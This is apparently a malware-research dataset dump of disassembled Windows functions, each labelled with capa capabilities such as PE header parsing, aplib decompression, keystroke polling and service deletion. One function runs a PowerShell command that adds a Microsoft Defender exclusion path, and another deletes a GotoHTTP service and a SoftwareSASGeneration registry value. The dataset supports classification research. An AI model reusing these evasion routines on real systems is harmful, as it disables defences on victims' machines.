joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011f00
Capabilities:
Get memory capacity
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rcx], xmm0
mov rbx, rcx
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm0
movups xmmword [rcx + 0x40], xmm0
movups xmmword [rcx + 0x50], xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm1
mov dword [rsp + 0x20], 0x40
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm1
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop dword [rax]
test eax, eax
je 0x140012001
mov rdx, qword [rsp + 0x28]
xorps xmm1, xmm1
mov rax, qword [rsp + 0x30]
xorps xmm0, xmm0
mov rcx, rdx
mov qword [rbx + 8], rax
sub rcx, rax
mov qword [rbx], rdx
cvtsi2sd xmm0, rdx
mov rdx, qword [rsp + 0x38]
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x20], rdx
cvtsi2sd xmm1, rcx
mov rcx, rdx
divsd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x140035710]
cvtsi2sd xmm0, rdx
cvttsd2si eax, xmm1
xorps xmm1, xmm1
mov dword [rbx + 0x18], eax
mov rax, qword [rsp + 0x40]
sub rcx, rax
mov qword [rbx + 0x28], rax
mov qword [rbx + 0x30], rcx
cvtsi2sd xmm1, rcx
divsd xmm1, xmm0
mulsd xmm1, qword [0x140035710]
cvttsd2si eax, xmm1
mov dword [rbx + 0x38], eax
xor r9d, r9d
lea rdx, [rsp + 0x60]
lea r8d, [r9 + 0x40]
lea ecx, [r9 + 0x15]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
js 0x14001205a
mov rdx, qword [rsp + 0x68]
xorps xmm1, xmm1
mov rcx, qword [rsp + 0x60]
xorps xmm0, xmm0
mov rax, rdx
mov qword [rbx + 0x40], rdx
sub rax, rcx
mov qword [rbx + 0x50], rcx
cvtsi2sd xmm0, rdx
mov qword [rbx + 0x48], rax
cvtsi2sd xmm1, rcx
divsd xmm1, xmm0
mulsd xmm1, qword [0x140035710]
cvttsd2si eax, xmm1
mov dword [rbx + 0x58], eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140019f40
add rsp, 0xb0
pop rbx
ret
Function at 0x14001a87c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a8c6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a8c6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a8c6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a8c6
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a8c6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001a8c8
xor al, al
add rsp, 0x28
ret

Function at 0x14001e804
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001e630
Function at 0x140029110
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029138
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029138
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x16f8058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x16f81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x16f8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x16f806f
add dl, dl
jne 0x16f8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x16f80f6
xor eax, eax
add dl, dl
jne 0x16f80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x16f81ad
add dl, dl
jne 0x16f80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16f80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16f80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16f80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x16f80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x16f807e
mov eax, 1
add dl, dl
jne 0x16f8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16f8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x16f80fb
sub eax, ebx
mov ebx, 1
jne 0x16f814c
mov ecx, 1
add dl, dl
jne 0x16f812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x16f813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x16f8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x16f807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x16f8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x16f8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x16f815d
cmp eax, 0x7d00
jae 0x16f819b
cmp eax, 0x500
jb 0x16f8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x16f807e
cmp eax, 0x7f
ja 0x16f819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x16f807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x16f81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x16f807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001070
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.powershell__Command__Add_MpPreference__ExclusionPath_C:Users_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, str.Defender_exclusions_added_successfully._n
test ebx, ebx
lea rax, str.Failed_to_add_Defender_exclusions._n
cmovne rcx, rax
call fcn.140001010
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x140001994
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019e0
xor al, al
add rsp, 0x28
ret
Function at 0x140001f18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f64
xor al, al
add rsp, 0x28
ret

Function at 0x1800025e8
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r9, rcx
mov eax, 0x5a4d
lea rdx, [0x180000000]
cmp word [0x180000000], ax
je 0x18000260f
xor eax, eax
mov r8d, dword [0x18000003c]
jmp 0x180002631
movsxd r8, dword [0x18000003c]
xor eax, eax
cmp dword [r8 + rdx], 0x4550
jne 0x180002631
mov r10d, 0x20b
cmp word [r8 + rdx + 0x18], r10w
sete al
test eax, eax
je 0x180002693
sub r9, rdx
movsxd r10, r8d
add r10, rdx
xor edx, edx
movzx eax, word [r10 + 0x14]
lea rcx, [r10 + 0x18]
add rcx, rax
mov qword [rsp + 8], rcx
mov dword [rsp], edx
movzx eax, word [r10 + 6]
cmp edx, eax
jae 0x180002679
mov r8d, dword [rcx + 0xc]
cmp r9, r8
jb 0x180002671
mov eax, dword [rcx + 8]
add eax, r8d
cmp r9, rax
jb 0x18000267b
inc edx
add rcx, 0x28
jmp 0x18000264c
xor ecx, ecx
test rcx, rcx
jne 0x180002684
xor eax, eax
jmp 0x180002693
mov eax, dword [rcx + 0x24]
shr eax, 0x1f
not eax
and eax, 1
jmp 0x180002693
add rsp, 0x18
ret
Function at 0x140009450
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x1400094f0
jmp 0x1400094df
jae 0x1400095af
cmp r8, 0x201
jae 0x1400094f0
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x140009547
sub r8, rbx
sub rdi, rbx
cmp r8, rdi
jbe 0x14000951f
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.14001f2a0
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x140009570
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000961b
mov r8d, r13d
cmp r12, r8
jne 0x1400094d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000964f
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x1400094df
jmp 0x1400094f0
cmp r14, r8
jb 0x140009669
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.14000bfd0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140009604
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.140007130
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x1400095ef
jmp 0x140009604
lea rcx, str.internal_error:_entered_unreachable_code_rustc_eeb90cda1969383f56a2637cbd3037bdf598841clibrary_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.140020550
jmp 0x14000967e
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140020900
ud2
Function at 0x140010610
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140023ff8]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x140010648
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400106a6
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x1400106d3
test eax, eax
js 0x1400106b2
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x1400106c9
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.14000bc70
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140007be0
mov ecx, 7
int 0x29
ud2
Function at 0x14001d200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x14001d28a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001d280
cmp r10, r11
jb 0x14001d306
cmp r10, rdx
ja 0x14001d318
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x14001d282
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001d260
jmp 0x14001d2e7
ja 0x14001d28a
mov r11, r10
cmp rax, r8
jne 0x14001d227
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14001d2eb
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001d2c0
mov r8, r10
sub ecx, r9d
jns 0x14001d2de
jmp 0x14001d2ed
cmp r10, rdx
je 0x14001d2fa
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001d2ed
xor al, 1
cmp r8, rdx
jne 0x14001d2a0
jmp 0x14001d2ed
xor eax, eax
jmp 0x14001d2ed
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140020430
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140020970
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140020900
int3

Function at 0x14001eb48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001eb92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001eb92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001eb92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001eb92
cmp dword [rcx + 0x84], 0xe
jbe 0x14001eb92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001eb94
xor al, al
add rsp, 0x28
ret
Function at 0x1400fa480
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [rsp + 0x60]
movzx r9d, r8w
cmp r9d, 0xe120
mov dword [rcx], 1
jg 0x1400fa599
je 0x1400fa4eb
sub r9d, 0xa6
je 0x1400fa4dc
cmp r9d, 1
jne 0x1400fa5c6
mov edx, r9d
mov rcx, rsi
call fcn.1400fa050
jmp 0x1400fa6fb
xor edx, edx
mov rcx, rsi
call fcn.1400fa050
jmp 0x1400fa6fb
mov r12, qword [0x1402e2df0]
or r13, 0xffffffffffffffff
mov edi, 0x80
xor ebx, ebx
nop dword [rax]
movsxd rcx, edi
mov eax, 2
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.1401e3608
mov rbp, rax
test rax, rax
je 0x1400fa559
mov r9d, edi
mov r8, rax
mov edx, 0xa2
mov rcx, r12
call qword [sym.imp.USER32.dll_LoadStringW]
lea ecx, [rdi - 1]
cmp eax, ecx
jl 0x1400fa551
mov rcx, rbp
call fcn.1401e3600
add edi, edi
mov rbp, rbx
cmp edi, 0x19000
jl 0x1400fa500
jmp 0x1400fa559
mov rdx, rbp
test rbp, rbp
jne 0x1400fa560
lea rdx, [0x140239da0]
mov rcx, qword [rsi + 8]
lea r8, str.GotoHTTP
mov r9d, 0x24
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
sete bl
test rbp, rbp
je 0x1400fa58a
mov rcx, rbp
call fcn.1401e3600
test bl, bl
je 0x1400fa6fb
xor edx, edx
jmp 0x1400fa6f3
sub r9d, 0xe121
je 0x1400fa642
sub r9d, 1
je 0x1400fa621
sub r9d, 1
je 0x1400fa6fb
sub r9d, 2
je 0x1400fa6fb
cmp r9d, 5
je 0x1400fa5cf
xor ebx, ebx
mov dword [rcx], ebx
jmp 0x1400fa6fb
mov rcx, qword [rsi + 8]
mov edx, 1
call qword [sym.imp.USER32.dll_GetScrollPos]
xor ebx, ebx
cmp qword [rsi + 0xc0], rbx
jbe 0x1400fa60c
nop dword [rax]
mov rax, qword [rsi + 0xb0]
inc rbx
mov rcx, qword [rax + rbx*8 - 8]
or dword [rcx + 0x10], 1
cmp rbx, qword [rsi + 0xc0]
jb 0x1400fa5f0
mov rcx, qword [rsi + 8]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x1400fa6fb
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
mov rcx, rsi
mov dx, ax
shr edx, 0xf
and edx, 1
call fcn.1400fa350
jmp 0x1400fa6fb
mov r12, qword [0x1402e2df0]
or r13, 0xffffffffffffffff
mov edi, 0x80
xor ebx, ebx
nop word [rax + rax]
movsxd rcx, edi
mov eax, 2
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.1401e3608
mov rbp, rax
test rax, rax
je 0x1400fa6b9
mov r9d, edi
mov r8, rax
mov edx, 0xa3
mov rcx, r12
call qword [sym.imp.USER32.dll_LoadStringW]
lea ecx, [rdi - 1]
cmp eax, ecx
jl 0x1400fa6b1
mov rcx, rbp
call fcn.1401e3600
add edi, edi
mov rbp, rbx
cmp edi, 0x19000
jl 0x1400fa660
jmp 0x1400fa6b9
mov rdx, rbp
test rbp, rbp
jne 0x1400fa6c0
lea rdx, [0x140239da0]
mov rcx, qword [rsi + 8]
lea r8, str.GotoHTTP
mov r9d, 0x24
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
sete bl
test rbp, rbp
je 0x1400fa6ea
mov rcx, rbp
call fcn.1401e3600
test bl, bl
je 0x1400fa6fb
mov edx, 1
mov rcx, rsi
call fcn.1400f92b0
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1400fc690
Capabilities:
Delete registry value
Delete service
Stop service

Disassembly:
push rbx
sub rsp, 0x50
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov qword [rsp + 0x78], rdi
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
je 0x1400fc71c
lea rdx, str.GotoHTTP
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0x70], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
je 0x1400fc70e
mov qword [rsp + 0x68], rbp
mov ebp, 1
lea r8, [rsp + 0x30]
mov edx, ebp
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rsi
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbp, qword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdi, qword [rsp + 0x78]
test eax, eax
jne 0x1400fc772
mov rcx, qword [rsp + 0x60]
lea rdx, str.SoftwareSASGeneration
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x1400fc780
Capabilities:
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x50
mov esi, ecx
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x1400fc840
lea rdx, str.GotoHTTP
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0x60], rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x1400fc832
cmp esi, 0x81
jne 0x1400fc7ec
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov ebx, eax
jmp 0x1400fc7fe
lea r8, [rsp + 0x30]
mov edx, esi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov ebx, eax
cmp dword [reloc.WS2_32.dll_accept], 1
jg 0x1400fc829
lea r9, str.ControlService_OK._code___u
lea rdx, str..Service.cpp
mov r8d, 0xc1
mov ecx, 1
mov dword [rsp + 0x20], esi
call fcn.1400045a0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rsi
ret
Function at 0x14045a4e0
Capabilities:
Parse pe header

Disassembly:
push rsi
sub rsp, 0x30
mov rax, qword [rcx + 0x18]
movzx edx, byte [rax]
cmp dl, 0x4c
je 0x14045a550
jg 0x14045a510
sub edx, 0x49
cmp dl, 1
ja 0x14045a560
add rax, 1
mov qword [rcx + 0x18], rax
add rsp, 0x30
pop rsi
jmp fcn.14045a580
cmp dl, 0x58
jne 0x14045a560
add rax, 1
mov esi, dword [rcx + 0x4c]
mov dword [rcx + 0x4c], 1
mov qword [rcx + 0x18], rax
mov qword [rsp + 0x28], rcx
call fcn.14045a850
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x18]
mov dword [rcx + 0x4c], esi
cmp byte [rdx], 0x45
jne 0x14045a570
add rdx, 1
mov qword [rcx + 0x18], rdx
add rsp, 0x30
pop rsi
ret
add rsp, 0x30
pop rsi
jmp fcn.14045a300
add rsp, 0x30
pop rsi
jmp fcn.140458c50
xor eax, eax
jmp 0x14045a54a
Function at 0x140464120
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140ae0840]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140ae0820]
test rbx, rbx
je 0x14046417c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140464173
test eax, eax
jne 0x140464173
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140464158
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1404644b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14072ae60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1404644d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1404644d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1404644d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14046452d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140464524
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1404644d0
add rax, 0x28
cmp rax, r9
jne 0x140464510
xor eax, eax
ret

Function at 0x140464530
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14072ae60]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14046454f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140464558
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14046454f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1404645f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14072ae60]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14046460f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140464618
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140466a20
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
mov r8d, 0x2d
lea rdx, str._buffer_overflow_detected_:_terminated_n
call sub.msvcrt.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140466a50
mov ecx, 8
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop